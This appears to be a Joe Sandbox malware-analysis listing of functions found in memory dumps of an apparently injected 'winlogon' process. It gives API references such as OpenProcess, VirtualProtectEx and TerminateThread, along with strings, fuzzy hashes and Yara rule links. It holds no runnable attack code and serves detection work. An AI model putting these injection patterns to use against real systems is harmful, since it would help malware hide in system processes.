Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 6f9918c3cbd4a8341a5960baa032c6c80083ab5fabd7ed8650c6535314c37da2
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: B9119D68300E6061FA68EBFE564D32922426F987B6F30C324A836C77EADE78C441C201

Function 00000225DC64CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000225DC64CFAF
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64CFE5
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64D012
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64D023
FlsSetValue.KERNEL32(?,?,?,00000225DC64D6B5,?,?,?,?,00000225DC64D778), ref: 00000225DC64D034
SetLastError.KERNEL32 ref: 00000225DC64D04F

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 4157702fcb9233f49a77c46e803b27685ba528657f510afb3a862d3f666b09f6
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: B3119D2874CE6071FE64ABFE954D32932426B95BB6F10C3A4A837477EADE78C441C200

Function 00000225DC6A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC6A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6A19E0
PathFindFileNameW.SHLWAPI ref: 00000225DC6A19EF
lstrlenW.KERNEL32 ref: 00000225DC6A19FB
StrCpyW.SHLWAPI ref: 00000225DC6A1A0E
CloseHandle.KERNEL32 ref: 00000225DC6A1A1C

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: cb2a63c83e44a23da2db583fd32e9b754654e1e9db48b59022d394c89ab082b1
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 99016929300E5092EB18DB9AA89C35963A6FB88BC6F988035DF4D83754DF3CC989C740

Function 00000225DC64199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC6419C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6419E0
PathFindFileNameW.SHLWAPI ref: 00000225DC6419EF
lstrlenW.KERNEL32 ref: 00000225DC6419FB
StrCpyW.SHLWAPI ref: 00000225DC641A0E
CloseHandle.KERNEL32 ref: 00000225DC641A1C

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: c75f4c628c11a50a5007a532dfe706c93d8ee4e04b1e1be502c9ae2a36d6589c
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 0E016929314E5092EB60DB9AA84C35963A1F788BC6F988075DF8A43754DF3CC989C740

Function 00000225DC6A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC6A36E4
GetCurrentProcess.KERNEL32 ref: 00000225DC6A36F2
VirtualProtectEx.KERNEL32 ref: 00000225DC6A3714
GetCurrentProcess.KERNEL32 ref: 00000225DC6A3732
VirtualProtectEx.KERNEL32 ref: 00000225DC6A3753
TerminateThread.KERNEL32 ref: 00000225DC6A3762

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 3adde3a003b7029c84831e13eabd217eaefc6f8cdf697e4629c9387f833a695b
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: FB012969211F60A2EB289BAAE91C71977A1BB59B87F188424CE4947764EF3DC148C704

Function 00000225DC6436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000225DC6436E4
GetCurrentProcess.KERNEL32 ref: 00000225DC6436F2
VirtualProtectEx.KERNEL32 ref: 00000225DC643714
GetCurrentProcess.KERNEL32 ref: 00000225DC643732
VirtualProtectEx.KERNEL32 ref: 00000225DC643753
TerminateThread.KERNEL32 ref: 00000225DC643762

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 5377c2d080006a4fe2cd119959f91c4f1597db279fc077c9b970d2bb0f292206
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: E101296D325F6492FB649BAAE80C71A73A0BB49B87F148464CE4A07765EF3DC158C704

Function 00000225DC6A8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC6A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6A90A8
RtlUnwindEx.NTDLL ref: 00000225DC6A90F7

Strings

csm, xrefs: 00000225DC6A908E
f, xrefs: 00000225DC6A9026

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 599e737887705c3809ce4680662d838ae3905f4783b37dc68dc1ccc8eae22418
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 78519F3A701A20AAEB14DFA9E84CB5937A6F344BCAF30C524DA568778DDB75DD42C700

Function 00000225DC648FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC649013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6490A8
RtlUnwindEx.NTDLL ref: 00000225DC6490F7

Strings

f, xrefs: 00000225DC649026
csm, xrefs: 00000225DC64908E

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: b166926d79cf74f009588074e3820990c0fc1e07a97fa4e01069ba2e3ee14553
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 6651BF3A75DA20EAEB14DF99E84CB5937AAF344B8AF10C5A4DA174778CDB35C842C700

Function 00000225DC6A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC6A1A60
StrCmpNIW.SHLWAPI ref: 00000225DC6A1A7A
lstrlenW.KERNEL32 ref: 00000225DC6A1A89
StrCpyW.SHLWAPI ref: 00000225DC6A1A9E

Strings

\\?\, xrefs: 00000225DC6A1A6E

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 2a81db31a951e5e259a4acc7b5a595b85a3b479c602b75ed73f30d03813019d1
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: BBF06866304E51A2EB60CFE9F9C87597762F748B8AF94C020DB4946654DF3CC64DCB00

Function 00000225DC641A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC641A60
StrCmpNIW.SHLWAPI ref: 00000225DC641A7A
lstrlenW.KERNEL32 ref: 00000225DC641A89
StrCpyW.SHLWAPI ref: 00000225DC641A9E

Strings

\\?\, xrefs: 00000225DC641A6E

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: e535c0649dfb5c656df934673802aa2881829a80634b4f76755b7f08d64bed47
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 69F04466718E51A2E7608BE9F9887596761F748BC9F94C020DB4A46654DF3CC68DCB00

Function 00000225DC6A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000225DC6A3066
StrCpyW.SHLWAPI ref: 00000225DC6A3076
StrCatW.SHLWAPI ref: 00000225DC6A3082
PathCombineW.SHLWAPI ref: 00000225DC6A3090

Strings

\\.\pipe\, xrefs: 00000225DC6A305C

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: fb1c96070f1bbd8c52466b515c03c742fb3955bbc3562a61c2f5362b02f3ede6
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 5BF05828204FA4A2EA588FDBB9081197262AB48FC2F08E030EF4A47B18DF38C445C700

Function 00000225DC6ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC6ABCBD
GetProcAddress.KERNEL32 ref: 00000225DC6ABCD3
FreeLibrary.KERNEL32 ref: 00000225DC6ABCFA

Strings

CorExitProcess, xrefs: 00000225DC6ABCCC
mscoree.dll, xrefs: 00000225DC6ABCB4

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 859cf1714d0438efb9fd229f799e05916821dabd80631214c70755d8405ab38f
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 21F09679311F15A1FB148BEDE84C3596361EB84767F548219CB6A452F4DF3CC444C740

Function 00000225DC643044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000225DC643066
StrCpyW.SHLWAPI ref: 00000225DC643076
StrCatW.SHLWAPI ref: 00000225DC643082
PathCombineW.SHLWAPI ref: 00000225DC643090

Strings

\\.\pipe\, xrefs: 00000225DC64305C

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 05bf48fb40d5b317a8235632c964cef6d02a25c8f7691d3038dd68194b884147
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 51F08C28328FA4A2FA448FDBB90C1196260AB48FD2F18E170EF4A07B58DF3CC485C700

Function 00000225DC64BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC64BCBD
GetProcAddress.KERNEL32 ref: 00000225DC64BCD3
FreeLibrary.KERNEL32 ref: 00000225DC64BCFA

Strings

CorExitProcess, xrefs: 00000225DC64BCCC
mscoree.dll, xrefs: 00000225DC64BCB4

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 44bd982de87b7b9a06009664450f2777bab72fc188efb7fa02744482d7f49e87
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 72F09669329F14A1EB108FECE44C3596361EB89766F648259DB6A462F4CF3CC044C740

Function 00000225DC6A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5156

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: cc4e45ee1de0211bceb984575181e682b35c92b14fcfce5c930bbfc96d3dc94e
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EA02C836219F9496EB60CB99F49435AB7A0F3C5795F209015EB8E87BA9DF7CC444CB00

Function 00000225DC6A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC6A5726

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: c0f1102daedf8fd83df05dbad566c9dcb67f0f52cae9f12d02fc669b962d21e9
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: DB61EE3A519F94D6E760CB99E54831AB7E0F388786F209115FA8E87BA8DB7CC554CF00

Function 00000225DC645710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645726

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: 8f9846ecf6cf7499faee6b5ce6658377365f055e4165f45403509503972279d5
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 6561CD3A51DF94D6E760CB99E44831AB7A0F3C8796F109165EA8E87BA8DB7CC544CF00

Function 00000225DC6B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC6B412C
_set_statfp.LIBCMT ref: 00000225DC6B4147
_set_statfp.LIBCMT ref: 00000225DC6B4163
_set_statfp.LIBCMT ref: 00000225DC6B419F

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 790992d3fedfbb3f0c19deaeddb177f6f54104038671def6cf99952e65a916c8
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 2711733EE14E7131F66415ECD45D3751243EB783BBF18C624AA7E076D6CA34C841E210

Function 00000225DC623504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC62352C
_set_statfp.LIBCMT ref: 00000225DC623547
_set_statfp.LIBCMT ref: 00000225DC623563
_set_statfp.LIBCMT ref: 00000225DC62359F

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 0f0cd1f3b4902091acada321e62a835e8ba03bea7c675b6eead67c7f9176ca24
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 6B11C63AA60E3131FB6415ECE45D37991C86B58BB6F48C639A97F2E3D6CB34C881C200

Function 00000225DC683504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC68352C
_set_statfp.LIBCMT ref: 00000225DC683547
_set_statfp.LIBCMT ref: 00000225DC683563
_set_statfp.LIBCMT ref: 00000225DC68359F

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4770082600421d2f4bb53b6383fc8d4b46f38f5b83b98cacefa30fc3353db637
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4111EC3E6A4E3131FA54D5ECE44D37911906F59F76F48C638A976067DACA78C841C203

Function 00000225DC654104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC65412C
_set_statfp.LIBCMT ref: 00000225DC654147
_set_statfp.LIBCMT ref: 00000225DC654163
_set_statfp.LIBCMT ref: 00000225DC65419F

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a15945065d89435b6d58080b2ea34464beef53a1596a2d5ce657289fdf07ecc6
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5911733EA34E7131F67415ECD45D3751151EB783FAF38C6A4A976076D6DA34C841E200

Function 00000225DC61F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC61F124

Strings

or copy constructor iterator', xrefs: 00000225DC61F25A, 00000225DC61F275
Tuesday, xrefs: 00000225DC61F0F4
Wednesday, xrefs: 00000225DC61F1ED

Memory Dump Source

Source File: 00000014.00000002.3139211755.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc610000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 944570b48e0c60bc5ad5e959f3b97a539a301ff4876b6c2567b65f1bc9dbc55e
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2961E27E606E6066FE69CBFCE55D32E66A0F785793F54C415EA0A037A4DB34C842C302

Function 00000225DC67F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC67F124

Strings

or copy constructor iterator', xrefs: 00000225DC67F25A, 00000225DC67F275
Wednesday, xrefs: 00000225DC67F1ED
Tuesday, xrefs: 00000225DC67F0F4

Memory Dump Source

Source File: 00000014.00000002.3140545005.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc670000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: b809d82d10e30da49faebdcfad985b935ab92b62efaa54905c9af04f2a82b3da
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 6761D63E614E60B2FA65DBFCD55CB2A26A0E785742F51CD15EA1A07FE4DB34C842C382

Function 00000225DC6AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC6AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC6AAAB7

Strings

RCC, xrefs: 00000225DC6AAA85
MOC, xrefs: 00000225DC6AAA7C

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: aa70c4840d0660077c5495364ee98befc91b92371ab933d55f9a834b1db71008
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 4761BE3B600F949AEB20DFA9D04439D77A0F748B8DF248216EF4A53B99DB38D085CB00

Function 00000225DC64AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC64AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC64AAB7

Strings

MOC, xrefs: 00000225DC64AA7C
RCC, xrefs: 00000225DC64AA85

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 5ee5bc15fcc7ca4683ce8519a978933ac552fc7779cbca0cf07b2e2c35c6d78e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6561CF3B608F94AAEB20DFA9D04439D7BA1F348B8DF148255EF4A17B99DB38C085C700

Function 00000225DC6AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC6AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC6AAE88

Strings

csm, xrefs: 00000225DC6AADC2
csm, xrefs: 00000225DC6AAEDA

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 2e3fcafa7e63c7afecd5eb320568e29d6bc18ccae88d7ce5c4c248ffc38c6f0c
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9C51837A100BA0AAEB74CF99958835D77A0F758B86F34C117EA99C7BD6CB34D451CB00

Function 00000225DC61A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC61A1A0
